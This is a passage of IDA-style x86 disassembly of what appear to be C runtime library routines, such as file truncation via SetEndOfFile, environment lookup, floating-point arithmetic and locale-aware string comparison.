loc_416A43:				; CODE XREF: sub_416808+248j
		cmp	eax, ecx
		jb	short loc_416A56
		cmp	byte ptr [eax],	39h
		jnz	short loc_416A52
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_416A43
; ---------------------------------------------------------------------------


loc_416A52:				; CODE XREF: sub_416808+242j
		cmp	eax, ecx
		jnb	short loc_416A5A


loc_416A56:				; CODE XREF: sub_416808+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_416A5A:				; CODE XREF: sub_416808+24Cj
		inc	byte ptr [eax]


loc_416A5C:				; CODE XREF: sub_416808+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_416A6B:				; CODE XREF: sub_416808+F0j
		mov	eax, [ebp+var_4]


loc_416A6E:				; CODE XREF: sub_416808+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_416A73:				; CODE XREF: sub_416808+239j
					; sub_416808+275j
		cmp	eax, ecx
		jb	short loc_416A83
		cmp	byte ptr [eax],	30h
		jnz	short loc_416A7F
		dec	eax
		jmp	short loc_416A73
; ---------------------------------------------------------------------------


loc_416A7F:				; CODE XREF: sub_416808+272j
		cmp	eax, ecx
		jnb	short loc_416A5C


loc_416A83:				; CODE XREF: sub_416808+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_416A92:				; CODE XREF: sub_416808+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_416A6E
sub_416808	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416A9B	proc near		; CODE XREF: sub_412A3C+29FDp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_416B02
		dec	eax
		dec	eax
		jz	short loc_416AF3
		sub	eax, 4
		jz	short loc_416AF3
		sub	eax, 3
		jz	short loc_416AF3
		sub	eax, 4
		jz	short loc_416AE6
		sub	eax, 6
		jz	short loc_416AD9
		dec	eax
		jz	short loc_416ACC
		or	eax, 0FFFFFFFFh
		jmp	loc_416BC4
; ---------------------------------------------------------------------------


loc_416ACC:				; CODE XREF: sub_416A9B+27j
		mov	esi, dword_482098
		mov	eax, offset dword_482098
		jmp	short loc_416B0D
; ---------------------------------------------------------------------------


loc_416AD9:				; CODE XREF: sub_416A9B+24j
		mov	esi, dword_482094
		mov	eax, offset dword_482094
		jmp	short loc_416B0D
; ---------------------------------------------------------------------------


loc_416AE6:				; CODE XREF: sub_416A9B+1Fj
		mov	esi, dword_48209C
		mov	eax, offset dword_48209C
		jmp	short loc_416B0D
; ---------------------------------------------------------------------------


loc_416AF3:				; CODE XREF: sub_416A9B+10j
					; sub_416A9B+15j ...
		push	edi
		call	sub_416BC8
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_416B0D
; ---------------------------------------------------------------------------


loc_416B02:				; CODE XREF: sub_416A9B+Cj
		mov	esi, dword_482090
		mov	eax, offset dword_482090


loc_416B0D:				; CODE XREF: sub_416A9B+3Cj
					; sub_416A9B+49j ...
		cmp	esi, 1
		jnz	short loc_416B19
		xor	eax, eax
		jmp	loc_416BC4
; ---------------------------------------------------------------------------


loc_416B19:				; CODE XREF: sub_416A9B+75j
		test	esi, esi
		jnz	short loc_416B24
		push	3
		call	sub_40E7C3


loc_416B24:				; CODE XREF: sub_416A9B+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_416B36
		cmp	edi, 0Bh
		jz	short loc_416B36
		cmp	edi, 4
		jnz	short loc_416B5C


loc_416B36:				; CODE XREF: sub_416A9B+8Fj
					; sub_416A9B+94j
		mov	ebx, dword_481E70
		and	dword_481E70, 0
		cmp	edi, ecx
		jnz	short loc_416B8B
		mov	edx, dword_4222F4
		mov	dword_4222F4, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_416B5F
; ---------------------------------------------------------------------------


loc_416B5C:				; CODE XREF: sub_416A9B+99j
		mov	ebx, [ebp+arg_0]


loc_416B5F:				; CODE XREF: sub_416A9B+BFj
		cmp	edi, ecx
		jnz	short loc_416B8B
		mov	eax, dword_4222E8
		mov	ecx, dword_4222EC
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_416B92
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:422278h[edx*4]


loc_416B80:				; CODE XREF: sub_416A9B+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_416B80
		jmp	short loc_416B92
; ---------------------------------------------------------------------------


loc_416B8B:				; CODE XREF: sub_416A9B+AAj
					; sub_416A9B+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_416BA0


loc_416B92:				; CODE XREF: sub_416A9B+D7j
					; sub_416A9B+EEj
		push	dword_4222F4
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_416BAE
; ---------------------------------------------------------------------------


loc_416BA0:				; CODE XREF: sub_416A9B+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_416BAE
		cmp	edi, 4
		jnz	short loc_416BC1


loc_416BAE:				; CODE XREF: sub_416A9B+103j
					; sub_416A9B+10Cj
		cmp	edi, 8
		mov	dword_481E70, ebx
		jnz	short loc_416BC1
		mov	eax, [ebp+arg_0]
		mov	dword_4222F4, eax


loc_416BC1:				; CODE XREF: sub_416A9B+111j
					; sub_416A9B+11Cj
		xor	eax, eax
		pop	ebx


loc_416BC4:				; CODE XREF: sub_416A9B+2Cj
					; sub_416A9B+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_416A9B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_416BC8	proc near		; CODE XREF: sub_416A9B+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_4222F0
		cmp	dword_422274, edx
		push	esi
		mov	eax, offset dword_422270
		jz	short loc_416BF6
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:422270h[esi*4]


loc_416BEA:				; CODE XREF: sub_416BC8+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_416BF6
		cmp	[eax+4], edx
		jnz	short loc_416BEA


loc_416BF6:				; CODE XREF: sub_416BC8+16j
					; sub_416BC8+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:422270h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_416C0A
		cmp	[eax+4], edx
		jz	short locret_416C0C


loc_416C0A:				; CODE XREF: sub_416BC8+3Bj
		xor	eax, eax

locret_416C0C:				; CODE XREF: sub_416BC8+40j
		retn
sub_416BC8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C0D	proc near		; CODE XREF: sub_4157AA+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_40CCA0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4831E0
		jnb	loc_416D42
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4830E0[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_416D42
		push	1
		push	esi
		push	ebx
		call	sub_413BAD
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_416D4C
		push	2
		push	esi
		push	ebx
		call	sub_413BAD
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_416D4C
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_416CEF
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_40CC40
		push	8000h
		push	ebx
		call	sub_41706C
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_416CA3:				; CODE XREF: sub_416C0D+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_416CAE
		mov	eax, edi


loc_416CAE:				; CODE XREF: sub_416C0D+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_4147CC
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_416CCC
		sub	edi, eax
		test	edi, edi
		jle	short loc_416CE2
		jmp	short loc_416CA3
; ---------------------------------------------------------------------------


loc_416CCC:				; CODE XREF: sub_416C0D+B5j
		cmp	dword_481DC0, 5
		jnz	short loc_416CDF
		mov	dword_481DBC, 0Dh


loc_416CDF:				; CODE XREF: sub_416C0D+C6j
		or	esi, 0FFFFFFFFh


loc_416CE2:				; CODE XREF: sub_416C0D+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_41706C
		pop	ecx
		pop	ecx
		jmp	short loc_416D2F
; ---------------------------------------------------------------------------


loc_416CEF:				; CODE XREF: sub_416C0D+71j
		jge	short loc_416D2F
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_413BAD
		push	ebx
		call	sub_415716
		add	esp, 10h
		push	eax
		call	dword_418010	; SetEndOfFile
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_416D2F
		mov	dword_481DBC, 0Dh
		call	dword_418044	; RtlGetLastWin32Error
		mov	dword_481DC0, eax


loc_416D2F:				; CODE XREF: sub_416C0D+E0j
					; sub_416C0D:loc_416CEFj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_413BAD
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_416D4F
; ---------------------------------------------------------------------------


loc_416D42:				; CODE XREF: sub_416C0D+1Aj
					; sub_416C0D+36j
		mov	dword_481DBC, 9


loc_416D4C:				; CODE XREF: sub_416C0D+4Ej
					; sub_416C0D+63j
		or	eax, 0FFFFFFFFh


loc_416D4F:				; CODE XREF: sub_416C0D+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_416C0D	endp


; =============== S U B	R O U T	I N E =======================================



sub_416D53	proc near		; CODE XREF: sub_415A78+23p

arg_0		= dword	ptr  4

		cmp	dword_483430, 0
		push	ebx
		push	esi
		mov	esi, dword_481DE4
		push	edi
		jz	short loc_416DCA
		test	esi, esi
		jnz	short loc_416D84
		cmp	dword_481DEC, esi
		jz	short loc_416DCA
		call	sub_417121
		test	eax, eax
		jnz	short loc_416DCA
		mov	esi, dword_481DE4
		test	esi, esi
		jz	short loc_416DCA


loc_416D84:				; CODE XREF: sub_416D53+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_416DCA
		push	ebx
		call	sub_40CBC0
		pop	ecx
		mov	edi, eax


loc_416D95:				; CODE XREF: sub_416D53+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_416DCA
		push	eax
		call	sub_40CBC0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_416DBD
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_416DBD
		push	edi
		push	ebx
		push	eax
		call	sub_4170E2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_416DC2


loc_416DBD:				; CODE XREF: sub_416D53+51j
					; sub_416D53+59j
		add	esi, 4
		jmp	short loc_416D95
; ---------------------------------------------------------------------------


loc_416DC2:				; CODE XREF: sub_416D53+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_416DCC
; ---------------------------------------------------------------------------


loc_416DCA:				; CODE XREF: sub_416D53+10j
					; sub_416D53+1Cj ...
		xor	eax, eax


loc_416DCC:				; CODE XREF: sub_416D53+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_416D53	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416DD0	proc near		; CODE XREF: sub_416808+165p
					; sub_416FF0+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_416FD0
		cmp	cx, 7FFFh
		jnb	loc_416FD0
		cmp	dx, 0BFFDh
		ja	loc_416FD0
		cmp	dx, 3FBFh
		ja	short loc_416E39
		xor	eax, eax
		jmp	short loc_416E73
; ---------------------------------------------------------------------------


loc_416E39:				; CODE XREF: sub_416DD0+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_416E5B
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_416E5B
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_416E5D
		cmp	[esi], eax
		jnz	short loc_416E5D
		jmp	loc_416FCA
; ---------------------------------------------------------------------------


loc_416E5B:				; CODE XREF: sub_416DD0+71j
					; sub_416DD0+79j
		xor	eax, eax


loc_416E5D:				; CODE XREF: sub_416DD0+80j
					; sub_416DD0+84j
		cmp	cx, ax
		jnz	short loc_416E80
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_416E80
		cmp	[ebx+4], eax
		jnz	short loc_416E80
		cmp	[ebx], eax
		jnz	short loc_416E80


loc_416E73:				; CODE XREF: sub_416DD0+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_416FEB
; ---------------------------------------------------------------------------


loc_416E80:				; CODE XREF: sub_416DD0+90j
					; sub_416DD0+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_416E90:				; CODE XREF: sub_416DD0+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_416EE4
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_416EAC:				; CODE XREF: sub_416DD0+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_416196
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_416ED7
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_416ED7:				; CODE XREF: sub_416DD0+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_416EAC


loc_416EE4:				; CODE XREF: sub_416DD0+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_416E90
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_416F27


loc_416F02:				; CODE XREF: sub_416DD0+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_416F20
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_416215
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_416F02


loc_416F20:				; CODE XREF: sub_416DD0+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_416F60


loc_416F27:				; CODE XREF: sub_416DD0+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_416F60
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_416F40:				; CODE XREF: sub_416DD0+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_416F49
		inc	[ebp+var_14]


loc_416F49:				; CODE XREF: sub_416DD0+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_416243
		dec	ebx
		pop	ecx
		jnz	short loc_416F40
		cmp	[ebp+var_14], 0
		jz	short loc_416F60
		or	byte ptr [ebp+var_24], 1


loc_416F60:				; CODE XREF: sub_416DD0+155j
					; sub_416DD0+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_416F77
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_416FAC


loc_416F77:				; CODE XREF: sub_416DD0+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_416FA9
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_416FA4
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_416F9E
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_416FAC
; ---------------------------------------------------------------------------


loc_416F9E:				; CODE XREF: sub_416DD0+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_416FAC
; ---------------------------------------------------------------------------


loc_416FA4:				; CODE XREF: sub_416DD0+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_416FAC
; ---------------------------------------------------------------------------


loc_416FA9:				; CODE XREF: sub_416DD0+1ABj
		inc	[ebp+var_24+2]


loc_416FAC:				; CODE XREF: sub_416DD0+1A5j
					; sub_416DD0+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_416FD0
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_416FCA:				; CODE XREF: sub_416DD0+86j
		mov	[esi+0Ah], ax
		jmp	short loc_416FEB
; ---------------------------------------------------------------------------


loc_416FD0:				; CODE XREF: sub_416DD0+42j
					; sub_416DD0+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_416FEB:				; CODE XREF: sub_416DD0+ABj
					; sub_416DD0+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416DD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416FF0	proc near		; CODE XREF: sub_416337+440p
					; sub_416808+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_422768
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_417069
		jge	short loc_417018
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_4228C8
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_417018:				; CODE XREF: sub_416FF0+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_417023
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_417023:				; CODE XREF: sub_416FF0+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_417069
		push	esi
		push	edi


loc_41702A:				; CODE XREF: sub_416FF0+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_417062
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_417055
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_417055:				; CODE XREF: sub_416FF0+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_416DD0
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_417062:				; CODE XREF: sub_416FF0+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_41702A
		pop	edi
		pop	esi


loc_417069:				; CODE XREF: sub_416FF0+14j
					; sub_416FF0+36j
		pop	ebx
		leave
		retn
sub_416FF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41706C	proc near		; CODE XREF: sub_416C0D+8Bp
					; sub_416C0D+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4831E0
		jnb	short loc_4170D3
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4830E0[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_4170D3
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_4170AC
		and	cl, 7Fh
		jmp	short loc_4170B9
; ---------------------------------------------------------------------------


loc_4170AC:				; CODE XREF: sub_41706C+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_4170C7
		or	cl, 80h


loc_4170B9:				; CODE XREF: sub_41706C+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4170C7:				; CODE XREF: sub_41706C+48j
		mov	dword_481DBC, 16h
		jmp	short loc_4170DD
; ---------------------------------------------------------------------------


loc_4170D3:				; CODE XREF: sub_41706C+Bj
					; sub_41706C+27j
		mov	dword_481DBC, 9


loc_4170DD:				; CODE XREF: sub_41706C+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41706C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4170E2	proc near		; CODE XREF: sub_416D53+5Ep
					; sub_4175BE+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_4170EF
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4170EF:				; CODE XREF: sub_4170E2+7j
		push	dword_4831E4
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_483404
		call	sub_41718F
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41711C
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41711C:				; CODE XREF: sub_4170E2+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_4170E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_417121	proc near		; CODE XREF: sub_416D53+1Ep
					; sub_417437+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_481DEC
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_417182
		mov	ebx, dword_4180C8


loc_41713A:				; CODE XREF: sub_417121+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_41718A
		push	ebp
		call	sub_40CCCF
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_41718A
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_41718A
		push	edi
		push	[esp+18h+var_4]
		call	sub_417437
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_41713A


loc_417182:				; CODE XREF: sub_417121+11j
		xor	eax, eax


loc_417184:				; CODE XREF: sub_417121+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41718A:				; CODE XREF: sub_417121+29j
					; sub_417121+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_417184
sub_417121	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41718F	proc near		; CODE XREF: sub_4170E2+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_418C18
		push	offset sub_414568
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_4820A8, ebx
		push	1
		pop	edi
		jnz	short loc_417202
		push	edi
		mov	eax, offset dword_418868
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	dword_418008	; CompareStringW
		test	eax, eax
		jz	short loc_4171DF
		mov	dword_4820A8, edi
		jmp	short loc_417202
; ---------------------------------------------------------------------------


loc_4171DF:				; CODE XREF: sub_41718F+46j
		push	edi
		mov	eax, offset dword_4242EC
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	dword_41800C	; CompareStringA
		test	eax, eax
		jz	loc_4173F8
		mov	dword_4820A8, 2


loc_417202:				; CODE XREF: sub_41718F+31j
					; sub_41718F+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_417219
		push	esi
		push	[ebp+arg_8]
		call	sub_41740C
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_417219:				; CODE XREF: sub_41718F+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_41722E
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_41740C
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_41722E:				; CODE XREF: sub_41718F+8Dj
		mov	eax, dword_4820A8
		cmp	eax, 2
		jnz	short loc_417253
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41800C	; CompareStringA
		jmp	loc_4173FA
; ---------------------------------------------------------------------------


loc_417253:				; CODE XREF: sub_41718F+A7j
		cmp	eax, edi
		jnz	loc_4173F8
		cmp	[ebp+arg_18], ebx
		jnz	short loc_417268
		mov	eax, dword_481E5C
		mov	[ebp+arg_18], eax


loc_417268:				; CODE XREF: sub_41718F+CFj
		cmp	esi, ebx
		jz	short loc_417275
		cmp	[ebp+arg_14], ebx
		jnz	loc_41730D


loc_417275:				; CODE XREF: sub_41718F+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_417282


loc_41727A:				; CODE XREF: sub_41718F+13Cj
					; sub_41718F+16Dj
		push	2


loc_41727C:				; CODE XREF: sub_41718F+146j
		pop	eax
		jmp	loc_4173FA
; ---------------------------------------------------------------------------


loc_417282:				; CODE XREF: sub_41718F+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_41728E


loc_417287:				; CODE XREF: sub_41718F+151j
					; sub_41718F+159j ...
		mov	eax, edi
		jmp	loc_4173FA
; ---------------------------------------------------------------------------


loc_41728E:				; CODE XREF: sub_41718F+F6j
		cmp	esi, edi
		jg	short loc_4172D3
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		call	dword_418160	; GetCPInfo
		test	eax, eax
		jz	loc_4173F8
		cmp	esi, ebx
		jle	short loc_4172D7
		cmp	[ebp+var_3C], 2
		jb	short loc_4172D3
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_4172D3


loc_4172B9:				; CODE XREF: sub_41718F+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_4172D3
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_4172CD
		cmp	cl, dl
		jbe	short loc_41727A


loc_4172CD:				; CODE XREF: sub_41718F+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4172B9


loc_4172D3:				; CODE XREF: sub_41718F+101j
					; sub_41718F+120j ...
		push	3
		jmp	short loc_41727C
; ---------------------------------------------------------------------------


loc_4172D7:				; CODE XREF: sub_41718F+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_41730D
